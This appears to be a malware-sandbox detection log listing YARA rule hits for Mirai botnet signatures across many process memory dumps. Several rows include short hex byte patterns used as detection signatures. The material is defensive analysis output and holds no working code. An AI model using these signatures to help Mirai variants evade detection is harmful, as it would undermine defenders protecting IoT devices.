7069.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7069.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7069.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6370.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6623.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6623.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6623.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6623.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6623.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6623.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6558.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6558.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6558.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6558.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6558.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6558.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6676.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6676.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6676.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6676.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6676.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6676.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6770.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6481.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6481.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6481.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6481.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6481.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6481.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6395.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6395.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6395.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6395.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6395.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6395.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6957.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6884.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6884.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6884.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6884.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6884.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6884.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6379.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6379.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6379.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6379.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6379.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6379.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7379.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7379.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6502.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7379.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7379.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7379.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7379.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6502.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6502.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6502.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6502.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6502.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6923.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6923.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6923.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6923.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6923.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6923.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6382.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6382.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6382.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6382.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6382.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6382.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7325.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7307.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7307.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7307.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7307.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7307.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7307.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7325.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7325.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7325.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7325.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7325.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6250.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6250.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6250.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6250.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6250.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6250.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7061.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7061.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7061.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7061.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7061.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7061.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7144.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6780.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6780.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6780.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6780.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6780.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6780.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6995.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6995.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6995.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6995.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6995.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6995.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6306.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6306.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6306.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6306.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6306.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6306.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7140.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7140.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7140.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7140.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7140.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7140.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7264.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7264.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7264.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7264.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7264.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7264.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6584.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6327.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6611.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6284.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6266.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6266.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7383.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6410.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6410.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6410.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6410.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6410.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6410.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6726.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7345.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7345.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7100.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7174.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6614.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6614.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6546.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6546.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6546.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6369.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7152.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6853.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7012.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6584.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6584.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6611.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6611.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6266.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6266.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6266.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6266.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7383.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7383.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7383.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7383.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7383.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6726.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6726.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6726.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6726.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6726.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7345.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7100.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7174.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7100.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6358.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6358.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
